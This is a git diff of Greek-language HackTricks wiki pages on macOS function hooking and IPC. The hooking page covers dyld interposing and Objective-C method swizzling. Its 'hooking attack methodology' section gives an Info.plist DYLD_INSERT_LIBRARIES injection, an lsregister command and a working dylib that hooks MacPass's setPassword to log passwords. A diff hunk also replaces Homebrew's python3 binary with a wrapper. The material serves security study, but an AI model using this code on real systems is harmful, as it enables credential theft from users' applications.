|
||||||
|
|
||||||
### Επικοινωνία Μεταξύ Διεργασιών
|
### Επικοινωνία Μεταξύ Διεργασιών
|
||||||
|
|
||||||
Η Επικοινωνία Μεταξύ Διεργασιών (IPC) αναφέρεται σε διάφορες μεθόδους με τις οποίες ξεχωριστές διεργασίες **μοιράζονται και ανταλλάσσουν δεδομένα**. Ενώ η IPC είναι θεμελιώδης για πολλές νόμιμες εφαρμογές, μπορεί επίσης να καταχρηστεί για να υπονομεύσει την απομόνωση διεργασιών, να διαρρεύσει ευαίσθητες πληροφορίες ή να εκτελέσει μη εξουσιοδοτημένες ενέργειες.
|
Η Επικοινωνία Μεταξύ Διεργασιών (IPC) αναφέρεται σε διάφορες μεθόδους με τις οποίες ξεχωριστές διεργασίες **μοιράζονται και ανταλλάσσουν δεδομένα**. Ενώ η IPC είναι θεμελιώδης για πολλές νόμιμες εφαρμογές, μπορεί επίσης να καταχρηστεί για να υπονομεύσει την απομόνωση διεργασιών, να διαρρεύσει ευαίσθητες πληροφορίες ή να εκτελέσει μη εξουσιοδοτημένες ενέργειες.
|
||||||
|
|
||||||
{% content-ref url="../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
{% content-ref url="macos-ipc-inter-process-communication/" %}
|
||||||
[macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/)
|
[macos-ipc-inter-process-communication](macos-ipc-inter-process-communication/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Ενσωμάτωση Εφαρμογών Electron
|
### Ενσωμάτωση Εφαρμογών Electron
|
||||||
|
@ -106,6 +106,7 @@
|
||||||
Άλλες μεταβλητές περιβάλλοντος όπως **`PYTHONPATH`** και **`PYTHONHOME`** μπορεί επίσης να είναι χρήσιμες για να κάνετε μια εντολή Python να εκτελέσει αυθαίρετο κώδικα.
|
Άλλες μεταβλητές περιβάλλοντος όπως **`PYTHONPATH`** και **`PYTHONHOME`** μπορεί επίσης να είναι χρήσιμες για να κάνετε μια εντολή Python να εκτελέσει αυθαίρετο κώδικα.
|
||||||
|
|
||||||
Σημειώστε ότι τα εκτελέσι
|
Σημειώστε ότι τα εκτελέσι
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
|
mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
|
||||||
cat > /opt/homebrew/bin/python3 <<EOF
|
cat > /opt/homebrew/bin/python3 <<EOF
|
||||||
|
@ -115,6 +116,7 @@ cat > /opt/homebrew/bin/python3 <<EOF
|
||||||
EOF
|
EOF
|
||||||
chmod +x /opt/homebrew/bin/python3
|
chmod +x /opt/homebrew/bin/python3
|
||||||
```
|
```
|
||||||
|
|
||||||
## Ανίχνευση
|
## Ανίχνευση
|
||||||
|
|
||||||
### Shield
|
### Shield
|
||||||
|
|
|
@ -0,0 +1,407 @@
|
||||||
|
# macOS Function Hooking
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Ενδιάμεση Συνάρτηση
|
||||||
|
|
||||||
|
Δημιουργήστε ένα **dylib** με μια ενότητα **`__interpose`** (ή μια ενότητα με σημαία **`S_INTERPOSING`**) που περιέχει tuples από **δείκτες συναρτήσεων** που αναφέρονται στις **αρχικές** και **αντικατάστασης** συναρτήσεις.
|
||||||
|
|
||||||
|
Στη συνέχεια, **εισαγάγετε** το dylib με τη χρήση του **`DYLD_INSERT_LIBRARIES`** (η ενδιάμεση συνάρτηση πρέπει να γίνει πριν φορτωθεί η κύρια εφαρμογή). Φυσικά, οι [**περιορισμοί** που ισχύουν για τη χρήση του **`DYLD_INSERT_LIBRARIES`** ισχύουν και εδώ](macos-library-injection/#check-restrictions).
|
||||||
|
|
||||||
|
### Ενδιάμεση συνάρτηση printf
|
||||||
|
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="interpose.c" %}
|
||||||
|
{% code title="interpose.c" %}
|
||||||
|
```c
|
||||||
|
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdarg.h>
|
||||||
|
|
||||||
|
int my_printf(const char *format, ...) {
|
||||||
|
//va_list args;
|
||||||
|
//va_start(args, format);
|
||||||
|
//int ret = vprintf(format, args);
|
||||||
|
//va_end(args);
|
||||||
|
|
||||||
|
int ret = printf("Hello from interpose\n");
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
|
||||||
|
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="hello.c" %}
|
||||||
|
```c
|
||||||
|
//gcc hello.c -o hello
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
printf("Hello World!\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <dlfcn.h>
|
||||||
|
|
||||||
|
typedef int (*orig_open_type)(const char *pathname, int flags);
|
||||||
|
typedef FILE *(*orig_fopen_type)(const char *pathname, const char *mode);
|
||||||
|
|
||||||
|
int open(const char *pathname, int flags) {
|
||||||
|
orig_open_type orig_open;
|
||||||
|
orig_open = (orig_open_type)dlsym(RTLD_NEXT, "open");
|
||||||
|
printf("Opening file: %s\n", pathname);
|
||||||
|
return orig_open(pathname, flags);
|
||||||
|
}
|
||||||
|
|
||||||
|
FILE *fopen(const char *pathname, const char *mode) {
|
||||||
|
orig_fopen_type orig_fopen;
|
||||||
|
orig_fopen = (orig_fopen_type)dlsym(RTLD_NEXT, "fopen");
|
||||||
|
printf("Opening file: %s\n", pathname);
|
||||||
|
return orig_fopen(pathname, mode);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Αυτός ο κώδικας χρησιμοποιεί την τεχνική του function hooking για να παρακολουθήσει τις κλήσεις των συναρτήσεων `open` και `fopen` σε ένα πρόγραμμα στο macOS. Ο κώδικας αυτός χρησιμοποιεί τη βιβλιοθήκη `dlfcn.h` για να φορτώσει δυναμικά τις συναρτήσεις `open` και `fopen` και να αντικαταστήσει τις πρωτότυπες υλοποιήσεις τους με τις δικές του. Όταν καλείται η συνάρτηση `open` ή `fopen`, ο κώδικας αυτός εκτυπώνει το όνομα του αρχείου που ανοίγεται και στη συνέχεια καλεί την πρωτότυπη υλοποίηση της συνάρτησης για να εκτελέσει την πραγματική λειτουργία της.
|
||||||
|
|
||||||
|
```c
|
||||||
|
// Just another way to define an interpose
|
||||||
|
// gcc -dynamiclib interpose2.c -o interpose2.dylib
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#define DYLD_INTERPOSE(_replacement, _replacee) \
|
||||||
|
__attribute__((used)) static struct { \
|
||||||
|
const void* replacement; \
|
||||||
|
const void* replacee; \
|
||||||
|
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
|
||||||
|
(const void*) (unsigned long) &_replacement, \
|
||||||
|
(const void*) (unsigned long) &_replacee \
|
||||||
|
};
|
||||||
|
|
||||||
|
int my_printf(const char *format, ...)
|
||||||
|
{
|
||||||
|
int ret = printf("Hello from interpose\n");
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
DYLD_INTERPOSE(my_printf,printf);
|
||||||
|
```
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
|
```bash
|
||||||
|
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
|
||||||
|
Hello from interpose
|
||||||
|
|
||||||
|
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
|
||||||
|
Hello from interpose
|
||||||
|
```
|
||||||
|
|
||||||
|
## Αντικατάσταση Μεθόδων
|
||||||
|
|
||||||
|
Στην ObjectiveC έτσι καλείται μια μέθοδος: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||||
|
|
||||||
|
Χρειάζεται το **αντικείμενο**, η **μέθοδος** και τα **παράμετρα**. Και όταν καλείται μια μέθοδος, στέλνεται ένα **μήνυμα** χρησιμοποιώντας τη συνάρτηση **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||||
|
|
||||||
|
Το αντικείμενο είναι το **`someObject`**, η μέθοδος είναι **`@selector(method1p1:p2:)`** και τα ορίσματα είναι τα **value1**, **value2**.
|
||||||
|
|
||||||
|
Ακολουθώντας τις δομές των αντικειμένων, είναι δυνατή η πρόσβαση σε ένα **πίνακα μεθόδων** όπου οι **ονομασίες** και οι **δείκτες** του κώδικα της μεθόδου βρίσκονται.
|
||||||
|
|
||||||
|
{% hint style="danger" %}
|
||||||
|
Σημειώστε ότι επειδή οι μέθοδοι και οι κλάσεις προσπελαύνονται με βάση τα ονόματά τους, αυτές οι πληροφορίες αποθηκεύονται στο δυαδικό αρχείο, οπότε είναι δυνατή η ανάκτησή τους με τη χρήση της εντολής `otool -ov </path/bin>` ή [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
### Πρόσβαση στις ακατέργαστες μεθόδους
|
||||||
|
|
||||||
|
Είναι δυνατό να αποκτηθούν πληροφορίες για τις μέθοδους, όπως το όνομα, ο αριθμός των παραμέτρων ή η διεύθυνση, όπως φαίνεται στο παρακάτω παράδειγμα:
|
||||||
|
|
||||||
|
```objectivec
|
||||||
|
// gcc -framework Foundation test.m -o test
|
||||||
|
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
#import <objc/runtime.h>
|
||||||
|
#import <objc/message.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
// Get class of the variable
|
||||||
|
NSString* str = @"This is an example";
|
||||||
|
Class strClass = [str class];
|
||||||
|
NSLog(@"str's Class name: %s", class_getName(strClass));
|
||||||
|
|
||||||
|
// Get parent class of a class
|
||||||
|
Class strSuper = class_getSuperclass(strClass);
|
||||||
|
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
|
||||||
|
|
||||||
|
// Get information about a method
|
||||||
|
SEL sel = @selector(length);
|
||||||
|
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
|
||||||
|
Method m = class_getInstanceMethod(strClass,sel);
|
||||||
|
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
|
||||||
|
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
|
||||||
|
|
||||||
|
// Iterate through the class hierarchy
|
||||||
|
NSLog(@"Listing methods:");
|
||||||
|
Class currentClass = strClass;
|
||||||
|
while (currentClass != NULL) {
|
||||||
|
unsigned int inheritedMethodCount = 0;
|
||||||
|
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
|
||||||
|
|
||||||
|
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
|
||||||
|
|
||||||
|
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
|
||||||
|
Method method = inheritedMethods[i];
|
||||||
|
SEL selector = method_getName(method);
|
||||||
|
const char* methodName = sel_getName(selector);
|
||||||
|
unsigned long address = (unsigned long)method_getImplementation(m);
|
||||||
|
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Free the memory allocated by class_copyMethodList
|
||||||
|
free(inheritedMethods);
|
||||||
|
currentClass = class_getSuperclass(currentClass);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Other ways to call uppercaseString method
|
||||||
|
if([str respondsToSelector:@selector(uppercaseString)]) {
|
||||||
|
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
|
||||||
|
NSLog(@"Uppercase string: %@", uppercaseString);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Using objc_msgSend directly
|
||||||
|
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
|
||||||
|
NSLog(@"Uppercase string: %@", uppercaseString2);
|
||||||
|
|
||||||
|
// Calling the address directly
|
||||||
|
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
|
||||||
|
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
|
||||||
|
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
|
||||||
|
NSLog(@"Uppercase string: %@", uppercaseString3);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Αντικατάσταση μεθόδου με την method\_exchangeImplementations
|
||||||
|
|
||||||
|
Η συνάρτηση **`method_exchangeImplementations`** επιτρέπει την **αλλαγή** της **διεύθυνσης** της **υλοποίησης** μιας συνάρτησης με την άλλη.
|
||||||
|
|
||||||
|
{% hint style="danger" %}
|
||||||
|
Έτσι, όταν καλείται μια συνάρτηση, εκτελείται η άλλη.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
```objectivec
|
||||||
|
//gcc -framework Foundation swizzle_str.m -o swizzle_str
|
||||||
|
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
#import <objc/runtime.h>
|
||||||
|
|
||||||
|
|
||||||
|
// Create a new category for NSString with the method to execute
|
||||||
|
@interface NSString (SwizzleString)
|
||||||
|
|
||||||
|
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
||||||
|
|
||||||
|
@end
|
||||||
|
|
||||||
|
@implementation NSString (SwizzleString)
|
||||||
|
|
||||||
|
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||||
|
NSLog(@"Custom implementation of substringFromIndex:");
|
||||||
|
|
||||||
|
// Call the original method
|
||||||
|
return [self swizzledSubstringFromIndex:from];
|
||||||
|
}
|
||||||
|
|
||||||
|
@end
|
||||||
|
|
||||||
|
int main(int argc, const char * argv[]) {
|
||||||
|
// Perform method swizzling
|
||||||
|
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
|
||||||
|
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
|
||||||
|
method_exchangeImplementations(originalMethod, swizzledMethod);
|
||||||
|
|
||||||
|
// We changed the address of one method for the other
|
||||||
|
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
|
||||||
|
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
|
||||||
|
|
||||||
|
// Example usage
|
||||||
|
NSString *myString = @"Hello, World!";
|
||||||
|
NSString *subString = [myString substringFromIndex:7];
|
||||||
|
NSLog(@"Substring: %@", subString);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
{% hint style="warning" %}
|
||||||
|
Σε αυτήν την περίπτωση, αν ο κώδικας υλοποίησης της νόμιμης μεθόδου επαληθεύει το όνομα της μεθόδου, μπορεί να ανιχνεύσει αυτήν την αντικατάσταση και να την εμποδίσει από την εκτέλεσή της.
|
||||||
|
|
||||||
|
Η παρακάτω τεχνική δεν έχει αυτόν τον περιορισμό.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
### Αντικατάσταση Μεθόδου με την method\_setImplementation
|
||||||
|
|
||||||
|
Η προηγούμενη μορφή είναι περίεργη επειδή αλλάζετε την υλοποίηση 2 μεθόδων μεταξύ τους. Χρησιμοποιώντας τη συνάρτηση **`method_setImplementation`** μπορείτε να αλλάξετε την υλοποίηση μιας μεθόδου με την υλοποίηση μιας άλλης.
|
||||||
|
|
||||||
|
Απλά θυμηθείτε να **αποθηκεύσετε τη διεύθυνση της υλοποίησης της αρχικής μεθόδου** αν πρόκειται να την καλέσετε από τη νέα υλοποίηση πριν την αντικαταστήσετε, διότι αργότερα θα είναι πολύ πιο δύσκολο να εντοπίσετε αυτήν τη διεύθυνση.
|
||||||
|
|
||||||
|
```objectivec
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
#import <objc/runtime.h>
|
||||||
|
#import <objc/message.h>
|
||||||
|
|
||||||
|
static IMP original_substringFromIndex = NULL;
|
||||||
|
|
||||||
|
@interface NSString (Swizzlestring)
|
||||||
|
|
||||||
|
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
||||||
|
|
||||||
|
@end
|
||||||
|
|
||||||
|
@implementation NSString (Swizzlestring)
|
||||||
|
|
||||||
|
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||||
|
NSLog(@"Custom implementation of substringFromIndex:");
|
||||||
|
|
||||||
|
// Call the original implementation using objc_msgSendSuper
|
||||||
|
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
|
||||||
|
}
|
||||||
|
|
||||||
|
@end
|
||||||
|
|
||||||
|
int main(int argc, const char * argv[]) {
|
||||||
|
@autoreleasepool {
|
||||||
|
// Get the class of the target method
|
||||||
|
Class stringClass = [NSString class];
|
||||||
|
|
||||||
|
// Get the swizzled and original methods
|
||||||
|
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
|
||||||
|
|
||||||
|
// Get the function pointer to the swizzled method's implementation
|
||||||
|
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
|
||||||
|
|
||||||
|
// Swap the implementations
|
||||||
|
// It return the now overwritten implementation of the original method to store it
|
||||||
|
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
|
||||||
|
|
||||||
|
// Example usage
|
||||||
|
NSString *myString = @"Hello, World!";
|
||||||
|
NSString *subString = [myString substringFromIndex:7];
|
||||||
|
NSLog(@"Substring: %@", subString);
|
||||||
|
|
||||||
|
// Set the original implementation back
|
||||||
|
method_setImplementation(originalMethod, original_substringFromIndex);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Μεθοδολογία Επίθεσης Hooking
|
||||||
|
|
||||||
|
Σε αυτήν τη σελίδα συζητήθηκαν διάφοροι τρόποι για το hooking συναρτήσεων. Ωστόσο, αυτοί περιλάμβαναν **την εκτέλεση κώδικα μέσα στη διεργασία για επίθεση**.
|
||||||
|
|
||||||
|
Για να το κάνουμε αυτό, η πιο εύκολη τεχνική που μπορούμε να χρησιμοποιήσουμε είναι να εισάγουμε ένα [Dyld μέσω μεταβλητών περιβάλλοντος ή hijacking](macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md). Ωστόσο, υποθέτω ότι αυτό μπορεί να γίνει επίσης μέσω [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
|
||||||
|
|
||||||
|
Ωστόσο, και οι δύο επιλογές είναι **περιορισμένες** σε **μη προστατευμένα** δυαδικά αρχεία/διεργασίες. Ελέγξτε κάθε τεχνική για να μάθετε περισσότερα για τους περιορισμούς.
|
||||||
|
|
||||||
|
Ωστόσο, μια επίθεση με hooking συναρτήσεων είναι πολύ συγκεκριμένη, ένας επιτιθέμενος θα το κάνει αυτό για να **κλέψει ευαίσθητες πληροφορίες από μια διεργασία** (αν δεν ήταν έτσι, θα κάνατε απλά μια επίθεση με εισαγωγή διεργασίας). Και αυτές οι ευαίσθητες πληροφορίες μπορεί να βρίσκονται σε εφαρμογές που έχει κατεβάσει ο χρήστης, όπως το MacPass.
|
||||||
|
|
||||||
|
Έτσι, ο διανοούμενος θα πρέπει είτε να βρει μια ευπάθεια είτε να αφαιρέσει την υπογραφή της εφαρμογής, να εισάγει τη μεταβλητή περιβάλλοντος **`DYLD_INSERT_LIBRARIES`** μέσω του Info.plist της εφαρμογής, προσθέτοντας κάτι όπως:
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<key>LSEnvironment</key>
|
||||||
|
<dict>
|
||||||
|
<key>DYLD_INSERT_LIBRARIES</key>
|
||||||
|
<string>/Applications/Application.app/Contents/malicious.dylib</string>
|
||||||
|
</dict>
|
||||||
|
```
|
||||||
|
|
||||||
|
και στη συνέχεια **επανεγγράψτε** την εφαρμογή:
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
Προσθέστε σε αυτή τη βιβλιοθήκη τον κώδικα hooking για να εξαγάγετε τις πληροφορίες: Κωδικοί πρόσβασης, μηνύματα...
|
||||||
|
|
||||||
|
{% hint style="danger" %}
|
||||||
|
Σημειώστε ότι σε νεότερες εκδόσεις του macOS, αν **αφαιρέσετε την υπογραφή** του δυαδικού αρχείου της εφαρμογής και αυτή έχει ήδη εκτελεστεί, το macOS **δεν θα εκτελέσει πλέον την εφαρμογή**.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
#### Παράδειγμα βιβλιοθήκης
|
||||||
|
|
||||||
|
```objectivec
|
||||||
|
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
|
||||||
|
|
||||||
|
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
|
||||||
|
|
||||||
|
// Listen to the logs with something like:
|
||||||
|
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
|
||||||
|
|
||||||
|
#include <Foundation/Foundation.h>
|
||||||
|
#import <objc/runtime.h>
|
||||||
|
|
||||||
|
// Here will be stored the real method (setPassword in this case) address
|
||||||
|
static IMP real_setPassword = NULL;
|
||||||
|
|
||||||
|
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
|
||||||
|
{
|
||||||
|
// Function that will log the password and call the original setPassword(pass, file_path) method
|
||||||
|
NSLog(@"[+] Password is: %@", password);
|
||||||
|
|
||||||
|
// After logging the password call the original method so nothing breaks.
|
||||||
|
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Library constructor to execute
|
||||||
|
__attribute__((constructor))
|
||||||
|
static void customConstructor(int argc, const char **argv) {
|
||||||
|
// Get the real method address to not lose it
|
||||||
|
Class classMPDocument = NSClassFromString(@"MPDocument");
|
||||||
|
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
|
||||||
|
|
||||||
|
// Make the original method setPassword call the fake implementation one
|
||||||
|
IMP fake_IMP = (IMP)custom_setPassword;
|
||||||
|
real_setPassword = method_setImplementation(real_Method, fake_IMP);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Αναφορές
|
||||||
|
|
||||||
|
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,462 @@
|
||||||
|
# macOS IPC - Inter Process Communication
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team Expert του HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Μήνυμα Mach μέσω Θυρών
|
||||||
|
|
||||||
|
### Βασικές Πληροφορίες
|
||||||
|
|
||||||
|
Το Mach χρησιμοποιεί **εργασίες** ως τη **μικρότερη μονάδα** για την κοινή χρήση πόρων, και κάθε εργασία μπορεί να περιέχει **πολλά νήματα**. Αυτές οι **εργασίες και νήματα αντιστοιχούν 1:1 σε διεργασίες και νήματα POSIX**.
|
||||||
|
|
||||||
|
Η επικοινωνία μεταξύ εργασιών πραγματοποιείται μέσω της Διαδικασίας Επικοινωνίας Διεργασιών Mach (IPC), χρησιμοποιώντας μονοδιευθυντικά κανάλια επικοινωνίας. **Τα μηνύματα μεταφέρονται μεταξύ θυρών**, οι οποίες λειτουργούν ως **ουρές μηνυμάτων** που διαχειρίζεται το πυρήνας.
|
||||||
|
|
||||||
|
Κάθε διεργασία έχει μια **πίνακα IPC**, όπου είναι δυνατό να βρεθούν οι **θύρες mach της διεργασίας**. Το όνομα μιας θύρας mach είναι στην πραγματικότητα ένας αριθμός (ένας δείκτης στο αντικείμενο πυρήνα).
|
||||||
|
|
||||||
|
Μια διεργασία μπορεί επίσης να στείλει ένα όνομα θύρας με κάποια δικαιώματα **σε μια διαφορετική εργασία** και το πυρήνας θα κάνει αυτήν την εγγραφή στο **πίνακα IPC της άλλης εργασίας** να εμφανιστεί.
|
||||||
|
|
||||||
|
### Δικαιώματα Θύρας
|
||||||
|
|
||||||
|
Τα δικαιώματα θύρας, τα οποία καθορίζουν ποιες λειτουργίες μπορεί να εκτελέσει μια εργασία, είναι καίριας σημασίας για αυτήν την επικοινωνία. Τα πιθανά **δικαιώματα θύρας** είναι ([ορισμοί από εδώ](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||||
|
|
||||||
|
